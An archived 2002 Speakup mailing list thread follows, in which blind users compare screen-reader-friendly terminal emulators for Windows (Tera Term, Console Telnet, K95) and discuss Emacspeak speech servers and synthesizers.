> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >_______________________________________________
> > >Speakup mailing list
> > >Speakup@braille.uwo.ca
> > >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Alex Snow]

Yeah, I listened to that one.  Now he's doing one on synchronet.
----- Original Message -----
From: "Igor Gueths" <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 3:13 PM
Subject: Re: free terminal emulator for windows - download and install


Also, Tony Bechler did a review of it on Mainmenu.
----- Original Message -----
From: Alex Snow <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 3:00 PM
Subject: Re: free terminal emulator for windows - download and install


> There is.  It's called console telnet and it's open source.  I don't
> remember the url of the top of my head, but I can look it up.
> ----- Original Message -----
> From: "Charles Crawford" <ccrawford@acb.org>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 1:45 PM
> Subject: Re: free terminal emulator for windows - download and install
>
>
> > Window eyes uses the insert-a for speak all when you are in teraterm.
> That
> > program is not all that good from my experience.  I just wish there were
a
> > good dos telnet program that coudl run from the dos window..
> >
> > -- Charlie.
> >
> > At 12:54 PM 5/20/02 -0500, you wrote:
> > >You mention jaws scripts. Are there window-eyes set files too? Or does
it
> > >work fine without them.
> > >Greg
> > >
> > >
> > >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > > Janina wrote:
> > > > > > Another option would be a better screen reader for telnet and a
> > > > > > better telnet client. That would mean a good DOS screen reader
> > > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on
that
> > > > > > Windows machine. Neither of those is very cheap, though, and
> > > >
> > > > I use a free windows terminal emulator called teraterm. I redefine
the
> jaws
> > > > function sayNonHighlightedText to read everything appearing on the
> screen,
> > > > as long as its not a menu or in a dialog box (about 7 lines of code.
> Go to
> > > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
> into a
> > > > directory somewhere and click on ttermpro.exe for the standard
version
> or
> > > > ttssh.exe for the ssh version. Both report the application name is
> > > > ttermpro.exe, so the jaws scripts will work regardless.
> > > > The jaws scripts are in ttermpro.zip. Download this file, extract to
> your
> > > > jaws scripts directory, and then either press enter on this script
> filename
> > > > from within windows explorer or press insert+f2 and choose script
> manager
> > > > and open the file from there. Once you have the file, press
control+s
> to
> > > > save and compile it. Now you should be able to run teraterm and jaws
> should
> > > > speak correctly.
> > > >
> > > > The real problem is text editing. I use ex (vi without the
full-screen
> > > > stuff - basically ed ), but only crazy people like me probably want
to
> go
> > > > this way. I need to try a full screen editor and make it work via a
> > > terminal
> > > > emulator. VI might be a good choice, but the key bindings only make
> > > sense if
> > > > you know about ed. What's the other choices for full screen editing
> which
> > > > are *not* emacs? I've heard of something called vim (is this
correct)?
> > > > There's pico and probably others. I need to try and make this work
for
> > > > myself too, because using ex is nice in some ways, but its more
typing
> than
> > > > I really want to do with my RSI the way it is.
> > > >
> > > > I can help more with this if needed. Its not the greatest solution,
> but it
> > > > works very well for me. The terminal emulator is very very stable.
Its
> > > > worked on every version of windows I've tried it on with the same
> results.
> > > >
> > > > Hope this helps someone -- Teddy especially. Please don't hesitate
to
> > > ask me
> > > > for more help. I will be unavailable for the next week or so, but
> after the
> > > > 28th, I'll be able to answer e-mail again.
> > > >
> > > >                     Rich Caloggero
> > > >                     MIT Adaptive Tech. for Info and Computing
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >_______________________________________________
> > >Speakup mailing list
> > >Speakup@braille.uwo.ca
> > >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Raul A. Gallegos]

Actually even better than speak all you can define a speak window 
around the terminal screen of teraterm.

I use teratermand secure crt on a daily basis when I don'thave access to
my speakout to use Linux from my laptop.

Charles Crawford said the
following on Mon, May 20, 2002 at 01:45:11PM -0400:
> Window eyes uses the insert-a for speak all when you are in teraterm.  That 
> program is not all that good from my experience.  I just wish there were a 
> good dos telnet program that coudl run from the dos window..
> 
> -- Charlie.
> 
> At 12:54 PM 5/20/02 -0500, you wrote:
> >You mention jaws scripts. Are there window-eyes set files too? Or does it 
> >work fine without them.
> >Greg
> >
> >
> >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> >> Janina wrote:
> >> > > Another option would be a better screen reader for telnet and a
> >> > > better telnet client. That would mean a good DOS screen reader
> >> > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> >> > > Windows machine. Neither of those is very cheap, though, and
> >>
> >> I use a free windows terminal emulator called teraterm. I redefine the 
> >jaws
> >> function sayNonHighlightedText to read everything appearing on the 
> >screen,
> >> as long as its not a menu or in a dialog box (about 7 lines of code. Go 
> >to
> >> http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> >> directory somewhere and click on ttermpro.exe for the standard version or
> >> ttssh.exe for the ssh version. Both report the application name is
> >> ttermpro.exe, so the jaws scripts will work regardless.
> >> The jaws scripts are in ttermpro.zip. Download this file, extract to your
> >> jaws scripts directory, and then either press enter on this script 
> >filename
> >> from within windows explorer or press insert+f2 and choose script manager
> >> and open the file from there. Once you have the file, press control+s to
> >> save and compile it. Now you should be able to run teraterm and jaws 
> >should
> >> speak correctly.
> >>
> >> The real problem is text editing. I use ex (vi without the full-screen
> >> stuff - basically ed ), but only crazy people like me probably want to go
> >> this way. I need to try a full screen editor and make it work via a 
> >terminal
> >> emulator. VI might be a good choice, but the key bindings only make 
> >sense if
> >> you know about ed. What's the other choices for full screen editing which
> >> are *not* emacs? I've heard of something called vim (is this correct)?
> >> There's pico and probably others. I need to try and make this work for
> >> myself too, because using ex is nice in some ways, but its more typing 
> >than
> >> I really want to do with my RSI the way it is.
> >>
> >> I can help more with this if needed. Its not the greatest solution, but 
> >it
> >> works very well for me. The terminal emulator is very very stable. Its
> >> worked on every version of windows I've tried it on with the same 
> >results.
> >>
> >> Hope this helps someone -- Teddy especially. Please don't hesitate to 
> >ask me
> >> for more help. I will be unavailable for the next week or so, but after 
> >the
> >> 28th, I'll be able to answer e-mail again.
> >>
> >>                     Rich Caloggero
> >>                     MIT Adaptive Tech. for Info and Computing
> >>
> >>
> >> _______________________________________________
> >> Speakup mailing list
> >> Speakup@braille.uwo.ca
> >> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

-- 
If you perceive that there are four possible ways in which a procedure can
go wrong, and circumvent these, then a fifth way will promptly develop.
Raul A. Gallegos - http://www.asmodean.net

Re: free terminal emulator for windows - download and install

[Gregory Nowak]

Is this true for wineyes 3.1, since that's what I own? I don't remember seeing sets for teraterm in there, but I'll try it out anyways, and see what the results are. Thanks.
Greg


On Mon, May 20, 2002 at 01:36:48PM -0500, Raul A. Gallegos wrote:
> Window-eyes ships sets for teraterm which work very nicely out of 
> the box.  All you have to make sure is that you are using a
> vertical cursor shape in teraterm and you will be set.
> 
> Gregory Nowak said
> the following on Mon, May 20, 2002 at 12:54:01PM -0500:
> > You mention jaws scripts. Are there window-eyes set files too? Or does it work fine without them.
> > Greg
> > 
> > 
> > On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > Janina wrote:
> > > > > Another option would be a better screen reader for telnet and a
> > > > > better telnet client. That would mean a good DOS screen reader
> > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > Windows machine. Neither of those is very cheap, though, and
> > > 
> > > I use a free windows terminal emulator called teraterm. I redefine the jaws
> > > function sayNonHighlightedText to read everything appearing on the screen,
> > > as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> > > directory somewhere and click on ttermpro.exe for the standard version or
> > > ttssh.exe for the ssh version. Both report the application name is
> > > ttermpro.exe, so the jaws scripts will work regardless.
> > > The jaws scripts are in ttermpro.zip. Download this file, extract to your
> > > jaws scripts directory, and then either press enter on this script filename
> > > from within windows explorer or press insert+f2 and choose script manager
> > > and open the file from there. Once you have the file, press control+s to
> > > save and compile it. Now you should be able to run teraterm and jaws should
> > > speak correctly.
> > > 
> > > The real problem is text editing. I use ex (vi without the full-screen
> > > stuff - basically ed ), but only crazy people like me probably want to go
> > > this way. I need to try a full screen editor and make it work via a terminal
> > > emulator. VI might be a good choice, but the key bindings only make sense if
> > > you know about ed. What's the other choices for full screen editing which
> > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > There's pico and probably others. I need to try and make this work for
> > > myself too, because using ex is nice in some ways, but its more typing than
> > > I really want to do with my RSI the way it is.
> > > 
> > > I can help more with this if needed. Its not the greatest solution, but it
> > > works very well for me. The terminal emulator is very very stable. Its
> > > worked on every version of windows I've tried it on with the same results.
> > > 
> > > Hope this helps someone -- Teddy especially. Please don't hesitate to ask me
> > > for more help. I will be unavailable for the next week or so, but after the
> > > 28th, I'll be able to answer e-mail again.
> > > 
> > >                     Rich Caloggero
> > >                     MIT Adaptive Tech. for Info and Computing
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> -- 
> If you perceive that there are four possible ways in which a procedure can
> go wrong, and circumvent these, then a fifth way will promptly develop.
> Raul A. Gallegos - http://www.asmodean.net
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Raul A. Gallegos]

No.  I believe the sets began shipping with window-eyes 4.0.
however if you can make the speak window around just the terminal 
screen part of teraterm it will work.

Write me off line if you want to know how to do this.

Gregory Nowak said
the following on Mon, May 20, 2002 at 03:00:26PM -0500:
> Is this true for wineyes 3.1, since that's what I own? I don't remember seeing sets for teraterm in there, but I'll try it out anyways, and see what the results are. Thanks.
> Greg
> 
> 
> On Mon, May 20, 2002 at 01:36:48PM -0500, Raul A. Gallegos wrote:
> > Window-eyes ships sets for teraterm which work very nicely out of 
> > the box.  All you have to make sure is that you are using a
> > vertical cursor shape in teraterm and you will be set.
> > 
> > Gregory Nowak said
> > the following on Mon, May 20, 2002 at 12:54:01PM -0500:
> > > You mention jaws scripts. Are there window-eyes set files too? Or does it work fine without them.
> > > Greg
> > > 
> > > 
> > > On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > > Janina wrote:
> > > > > > Another option would be a better screen reader for telnet and a
> > > > > > better telnet client. That would mean a good DOS screen reader
> > > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > > Windows machine. Neither of those is very cheap, though, and
> > > > 
> > > > I use a free windows terminal emulator called teraterm. I redefine the jaws
> > > > function sayNonHighlightedText to read everything appearing on the screen,
> > > > as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> > > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> > > > directory somewhere and click on ttermpro.exe for the standard version or
> > > > ttssh.exe for the ssh version. Both report the application name is
> > > > ttermpro.exe, so the jaws scripts will work regardless.
> > > > The jaws scripts are in ttermpro.zip. Download this file, extract to your
> > > > jaws scripts directory, and then either press enter on this script filename
> > > > from within windows explorer or press insert+f2 and choose script manager
> > > > and open the file from there. Once you have the file, press control+s to
> > > > save and compile it. Now you should be able to run teraterm and jaws should
> > > > speak correctly.
> > > > 
> > > > The real problem is text editing. I use ex (vi without the full-screen
> > > > stuff - basically ed ), but only crazy people like me probably want to go
> > > > this way. I need to try a full screen editor and make it work via a terminal
> > > > emulator. VI might be a good choice, but the key bindings only make sense if
> > > > you know about ed. What's the other choices for full screen editing which
> > > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > > There's pico and probably others. I need to try and make this work for
> > > > myself too, because using ex is nice in some ways, but its more typing than
> > > > I really want to do with my RSI the way it is.
> > > > 
> > > > I can help more with this if needed. Its not the greatest solution, but it
> > > > works very well for me. The terminal emulator is very very stable. Its
> > > > worked on every version of windows I've tried it on with the same results.
> > > > 
> > > > Hope this helps someone -- Teddy especially. Please don't hesitate to ask me
> > > > for more help. I will be unavailable for the next week or so, but after the
> > > > 28th, I'll be able to answer e-mail again.
> > > > 
> > > >                     Rich Caloggero
> > > >                     MIT Adaptive Tech. for Info and Computing
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > -- 
> > If you perceive that there are four possible ways in which a procedure can
> > go wrong, and circumvent these, then a fifth way will promptly develop.
> > Raul A. Gallegos - http://www.asmodean.net
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

-- 
If you perceive that there are four possible ways in which a procedure can
go wrong, and circumvent these, then a fifth way will promptly develop.
Raul A. Gallegos - http://www.asmodean.net

Re: free terminal emulator for windows - download and install

[Alex Snow]

Nope it's not a dos app, but it runs in a dos box under winblows.  I haven't
used it a lot, but From what I've seen of it it's pretty good.  The url is
consoletelnet.sourceforge.net or
http://sourceforge.net/projects/consoletelnet.
----- Original Message -----
From: "Charles Crawford" <ccrawford@acb.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 3:14 PM
Subject: Re: free terminal emulator for windows - download and install


> Cool.  Is that a DOS ap?
>
> -- charlie.
> At 03:00 PM 5/20/02 -0400, you wrote:
> >There is.  It's called console telnet and it's open source.  I don't
> >remember the url of the top of my head, but I can look it up.
> >----- Original Message -----
> >From: "Charles Crawford" <ccrawford@acb.org>
> >To: <speakup@braille.uwo.ca>
> >Sent: Monday, May 20, 2002 1:45 PM
> >Subject: Re: free terminal emulator for windows - download and install
> >
> >
> > > Window eyes uses the insert-a for speak all when you are in teraterm.
> >That
> > > program is not all that good from my experience.  I just wish there
were a
> > > good dos telnet program that coudl run from the dos window..
> > >
> > > -- Charlie.
> > >
> > > At 12:54 PM 5/20/02 -0500, you wrote:
> > > >You mention jaws scripts. Are there window-eyes set files too? Or
does it
> > > >work fine without them.
> > > >Greg
> > > >
> > > >
> > > >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > > > Janina wrote:
> > > > > > > Another option would be a better screen reader for telnet and
a
> > > > > > > better telnet client. That would mean a good DOS screen reader
> > > > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on
that
> > > > > > > Windows machine. Neither of those is very cheap, though, and
> > > > >
> > > > > I use a free windows terminal emulator called teraterm. I redefine
the
> >jaws
> > > > > function sayNonHighlightedText to read everything appearing on the
> >screen,
> > > > > as long as its not a menu or in a dialog box (about 7 lines of
code.
> >Go to
> > > > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
> >into a
> > > > > directory somewhere and click on ttermpro.exe for the standard
version
> >or
> > > > > ttssh.exe for the ssh version. Both report the application name is
> > > > > ttermpro.exe, so the jaws scripts will work regardless.
> > > > > The jaws scripts are in ttermpro.zip. Download this file, extract
to
> >your
> > > > > jaws scripts directory, and then either press enter on this script
> >filename
> > > > > from within windows explorer or press insert+f2 and choose script
> >manager
> > > > > and open the file from there. Once you have the file, press
control+s
> >to
> > > > > save and compile it. Now you should be able to run teraterm and
jaws
> >should
> > > > > speak correctly.
> > > > >
> > > > > The real problem is text editing. I use ex (vi without the
full-screen
> > > > > stuff - basically ed ), but only crazy people like me probably
want to
> >go
> > > > > this way. I need to try a full screen editor and make it work via
a
> > > > terminal
> > > > > emulator. VI might be a good choice, but the key bindings only
make
> > > > sense if
> > > > > you know about ed. What's the other choices for full screen
editing
> >which
> > > > > are *not* emacs? I've heard of something called vim (is this
correct)?
> > > > > There's pico and probably others. I need to try and make this work
for
> > > > > myself too, because using ex is nice in some ways, but its more
typing
> >than
> > > > > I really want to do with my RSI the way it is.
> > > > >
> > > > > I can help more with this if needed. Its not the greatest
solution,
> >but it
> > > > > works very well for me. The terminal emulator is very very stable.
Its
> > > > > worked on every version of windows I've tried it on with the same
> >results.
> > > > >
> > > > > Hope this helps someone -- Teddy especially. Please don't hesitate
to
> > > > ask me
> > > > > for more help. I will be unavailable for the next week or so, but
> >after the
> > > > > 28th, I'll be able to answer e-mail again.
> > > > >
> > > > >                     Rich Caloggero
> > > > >                     MIT Adaptive Tech. for Info and Computing
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >_______________________________________________
> > > >Speakup mailing list
> > > >Speakup@braille.uwo.ca
> > > >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: free terminal emulator for windows - download and install

[Janina Sajka]

I used K95 with ASAP for years very effectively. I would expect
it will still work very well. It isn't freeware, though, but it
has been recently updated and now supports SSH as well as telnet.
Check it out at:

http://www.columbia.edu/kermit/k95.html


Now, at the risk of offending some, may I add that ASAP yields
more satisfactory results than Vocal-Eyes, in my experience? I've
seen the "revector" setting work, and not work, for VE users, but
I've not seen an ASAP problem with K95, or the Cygwin apps
ever--at least not driving an internal Doubletalk

Doubletalk seems to be a key. ASAP seems to be the second
valuable tool.

Now, if you're waiting to see good SSH and telnet accessibility
out of software speech and the Windows GUI, you'll have to wait a
very long time, because nobody is working on it, as far as I
know. I guess it's just more of that disdain for command
lines, fools that they are.


On Mon, 20 May 2002, Charles Crawford wrote:

> Window eyes uses the insert-a for speak all when you are in teraterm.  That 
> program is not all that good from my experience.  I just wish there were a 
> good dos telnet program that coudl run from the dos window..
> 
> -- Charlie.
> 
> At 12:54 PM 5/20/02 -0500, you wrote:
> >You mention jaws scripts. Are there window-eyes set files too? Or does it 
> >work fine without them.
> >Greg
> >
> >
> >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > Janina wrote:
> > > > > Another option would be a better screen reader for telnet and a
> > > > > better telnet client. That would mean a good DOS screen reader
> > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > Windows machine. Neither of those is very cheap, though, and
> > >
> > > I use a free windows terminal emulator called teraterm. I redefine the jaws
> > > function sayNonHighlightedText to read everything appearing on the screen,
> > > as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> > > directory somewhere and click on ttermpro.exe for the standard version or
> > > ttssh.exe for the ssh version. Both report the application name is
> > > ttermpro.exe, so the jaws scripts will work regardless.
> > > The jaws scripts are in ttermpro.zip. Download this file, extract to your
> > > jaws scripts directory, and then either press enter on this script filename
> > > from within windows explorer or press insert+f2 and choose script manager
> > > and open the file from there. Once you have the file, press control+s to
> > > save and compile it. Now you should be able to run teraterm and jaws should
> > > speak correctly.
> > >
> > > The real problem is text editing. I use ex (vi without the full-screen
> > > stuff - basically ed ), but only crazy people like me probably want to go
> > > this way. I need to try a full screen editor and make it work via a 
> > terminal
> > > emulator. VI might be a good choice, but the key bindings only make 
> > sense if
> > > you know about ed. What's the other choices for full screen editing which
> > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > There's pico and probably others. I need to try and make this work for
> > > myself too, because using ex is nice in some ways, but its more typing than
> > > I really want to do with my RSI the way it is.
> > >
> > > I can help more with this if needed. Its not the greatest solution, but it
> > > works very well for me. The terminal emulator is very very stable. Its
> > > worked on every version of windows I've tried it on with the same results.
> > >
> > > Hope this helps someone -- Teddy especially. Please don't hesitate to 
> > ask me
> > > for more help. I will be unavailable for the next week or so, but after the
> > > 28th, I'll be able to answer e-mail again.
> > >
> > >                     Rich Caloggero
> > >                     MIT Adaptive Tech. for Info and Computing
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: free terminal emulator for windows - download and install

[Alex Snow]

The reason I like console telnet is because it's open source and I can get
the sourcecode if I need to make any changes.
----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 5:19 PM
Subject: Re: free terminal emulator for windows - download and install


> I used K95 with ASAP for years very effectively. I would expect
> it will still work very well. It isn't freeware, though, but it
> has been recently updated and now supports SSH as well as telnet.
> Check it out at:
>
> http://www.columbia.edu/kermit/k95.html
>
>
> Now, at the risk of offending some, may I add that ASAP yields
> more satisfactory results than Vocal-Eyes, in my experience? I've
> seen the "revector" setting work, and not work, for VE users, but
> I've not seen an ASAP problem with K95, or the Cygwin apps
> ever--at least not driving an internal Doubletalk
>
> Doubletalk seems to be a key. ASAP seems to be the second
> valuable tool.
>
> Now, if you're waiting to see good SSH and telnet accessibility
> out of software speech and the Windows GUI, you'll have to wait a
> very long time, because nobody is working on it, as far as I
> know. I guess it's just more of that disdain for command
> lines, fools that they are.
>
>
> On Mon, 20 May 2002, Charles Crawford wrote:
>
> > Window eyes uses the insert-a for speak all when you are in teraterm.
That
> > program is not all that good from my experience.  I just wish there were
a
> > good dos telnet program that coudl run from the dos window..
> >
> > -- Charlie.
> >
> > At 12:54 PM 5/20/02 -0500, you wrote:
> > >You mention jaws scripts. Are there window-eyes set files too? Or does
it
> > >work fine without them.
> > >Greg
> > >
> > >
> > >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > > Janina wrote:
> > > > > > Another option would be a better screen reader for telnet and a
> > > > > > better telnet client. That would mean a good DOS screen reader
> > > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on
that
> > > > > > Windows machine. Neither of those is very cheap, though, and
> > > >
> > > > I use a free windows terminal emulator called teraterm. I redefine
the jaws
> > > > function sayNonHighlightedText to read everything appearing on the
screen,
> > > > as long as its not a menu or in a dialog box (about 7 lines of code.
Go to
> > > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
into a
> > > > directory somewhere and click on ttermpro.exe for the standard
version or
> > > > ttssh.exe for the ssh version. Both report the application name is
> > > > ttermpro.exe, so the jaws scripts will work regardless.
> > > > The jaws scripts are in ttermpro.zip. Download this file, extract to
your
> > > > jaws scripts directory, and then either press enter on this script
filename
> > > > from within windows explorer or press insert+f2 and choose script
manager
> > > > and open the file from there. Once you have the file, press
control+s to
> > > > save and compile it. Now you should be able to run teraterm and jaws
should
> > > > speak correctly.
> > > >
> > > > The real problem is text editing. I use ex (vi without the
full-screen
> > > > stuff - basically ed ), but only crazy people like me probably want
to go
> > > > this way. I need to try a full screen editor and make it work via a
> > > terminal
> > > > emulator. VI might be a good choice, but the key bindings only make
> > > sense if
> > > > you know about ed. What's the other choices for full screen editing
which
> > > > are *not* emacs? I've heard of something called vim (is this
correct)?
> > > > There's pico and probably others. I need to try and make this work
for
> > > > myself too, because using ex is nice in some ways, but its more
typing than
> > > > I really want to do with my RSI the way it is.
> > > >
> > > > I can help more with this if needed. Its not the greatest solution,
but it
> > > > works very well for me. The terminal emulator is very very stable.
Its
> > > > worked on every version of windows I've tried it on with the same
results.
> > > >
> > > > Hope this helps someone -- Teddy especially. Please don't hesitate
to
> > > ask me
> > > > for more help. I will be unavailable for the next week or so, but
after the
> > > > 28th, I'll be able to answer e-mail again.
> > > >
> > > >                     Rich Caloggero
> > > >                     MIT Adaptive Tech. for Info and Computing
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >_______________________________________________
> > >Speakup mailing list
> > >Speakup@braille.uwo.ca
> > >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.d

[Dave Hunt <]

Dan,

You need a speech server for any device you wish to use with
emacspeak.  If you go to the emacspeak area on the blinux site, you'll
find a 'servers' package.  Its name will be of the form
<emacspeak-ss-version>.tar.gz or i386.rpm'.  I forget what it's up to,
now.

-Dave

Re: interesting experiment.

[Dave Hunt <]

Anne,

I find the documentation for term mode is better in emacspeak 15 than
in previous versions.  Maybe It is I what is improving??  LOL.

I find terminal mode sufficient for lynx (There are sites I visit,
that w3 will not handle well), and even the Redhat setup tools.
Wouldn't want to use it for things like chatting or instant messaging,
though, I have.

-Dave

Ann Parsons writes:
 > Hi all,
 > 
 > Teddy, Terminal mode in Emacs is one of the things it doesn't do well,
 > and its documentation is not good.  Janina, can you help in this area?

Re: interesting experiment.

[Dave Hunt <]

The trouble seems to be with viavoice.  Emacspeak is not crashed by
this.  To bring the voice back, do "c-e c-s"
(control-e, then, control-s).

-Dave

Octavian Rasnita writes:
 > I was talking about Linux with IBM via voice and emacspeak.
 > I don't know what is the problem when it stops talking. Via voice or
 > emacspeak.
 > 
 > Teddy,
 > orasnita@home.ro

Re: interesting experiment.

[Dave Hunt <]

There is another software synth called "e-flight"?  I've yet to try
it; not even sure whether there's an emacspeak server for it.  It
works with Yasr, right?

-Dave

Octavian Rasnita writes:
 > Ok, at least I know what is the problem now.
 > Are there any better software sinthesizers than Via voice  that can work
 > with emacspeak?

Re: interesting experiment.

[Janina Sajka]

Dave:

Mike Gorst wrote eflite as a speech server both for emacspeak and
for yasr.

On Mon, 20 May 2002, Dave Hunt < wrote:

> There is another software synth called "e-flight"?  I've yet to try
> it; not even sure whether there's an emacspeak server for it.  It
> works with Yasr, right?
> 
> -Dave
> 
> Octavian Rasnita writes:
>  > Ok, at least I know what is the problem now.
>  > Are there any better software sinthesizers than Via voice  that can work
>  > with emacspeak?
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Toby Fisher]

On Mon, 20 May 2002, Kerry Hoath wrote:

> awwwwwwww shucks :-) that at least cheers me up emensely.
> It's not just this list; it seems that the new breed of IT people aren't
> like us oldschool bunch.
> I remember the net before the world wide web; when archie
> was the search tool of choice. I don't want to go back
> to those days; but it is interesting to reflect on.

Hi Kerry,

I too remember Archie, though I didn't get online till the end of 1995,
that's like really late in archie terms, but I used to use it a lot, and I
can remember when Yahoo was a self-contained web site, with no search
engine or ads.  I'd like to think I'm a good study of functionality,
particularly from a network standpoint, that's one of the reasons I'm
currently looking for funding to get my CCNA, the need for a job is the
other. *grin*

Cheers, and keep up the good posting.

--
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Toby Fisher]

